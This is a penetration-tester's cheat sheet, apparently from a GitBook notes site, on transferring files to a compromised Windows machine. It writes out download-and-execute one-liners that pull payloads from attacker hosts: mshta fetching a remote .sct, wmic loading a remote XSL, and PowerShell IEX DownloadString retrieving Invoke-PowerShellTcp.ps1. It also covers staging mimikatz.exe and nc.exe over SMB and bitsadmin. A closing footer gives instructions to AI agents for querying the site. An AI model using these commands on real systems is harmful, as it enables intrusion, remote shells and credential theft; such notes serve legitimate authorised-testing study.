# File Transfer Methods

{% embed url="<https://blog.ropnop.com/transferring-files-from-kali-to-windows/>" %}

{% embed url="<https://medium.com/@PenTest_duck/almost-all-the-ways-to-file-transfer-1bd6bf710d65>" %}

```bash
# mshta
vbscript:Close(Execute(“GetObject(“”script:http://webserver/payload.sct””)”))

# wmic
wmic os get /format:”https://webserver/payload.xsl

# cerutil
certutil -urlcache -split -f http://webserver/payload 

# bitsadmin
bitsadmin /rawreturn /transfer getpayload http://IP/nc.exe

# Using FTP
# On the Linux Box:
python3 -m pyftpdlib -p {port number}
# On the Windows Box:
C:\Windows\System32\ftp.exe {ip address}

# Using SMB from Impacket
python /opt/impacket/build/scripts-2.7/smbserver.py {SHARENAME} {PATH}
python /opt/impacket/build/scripts-2.7/smbserver.py SQUID /root/HTB/www

# On the Windows Box:
net view \\{attacker IP}
Example: net view \\10.11.0.47

# Commands to use are: {dir} {copy} {move} etc...
Example: copy \\10.11.0.47\SQUID\mimikatz.exe .

# Using powershell
powershell "IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1')" 

# Invoke Web request
IWR -uri http://10.10.14.15/file.exe -outfile file.exe  

```

## SMB from Powershell

```bash
# Step 1 - Start smbserver from Kali
impacket-smbserver myshare $(pwd) -username admin -password "test123"

# Step 2 on the target machine
$pass = "test123" | ConvertTo-SecureString -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('admin', $pass)
New-PSDrive -name myshare -root \\10.10.14.12\stuff -Credential $cred -PSProvider "FileSystem" 
# Details:
# myshare is the name of the share you created on step 1 
 

# Then:

cd myshare: 
# And check the files   
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://squid22.gitbook.io/notes/windows-1/privesc/file-transfer-methods.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
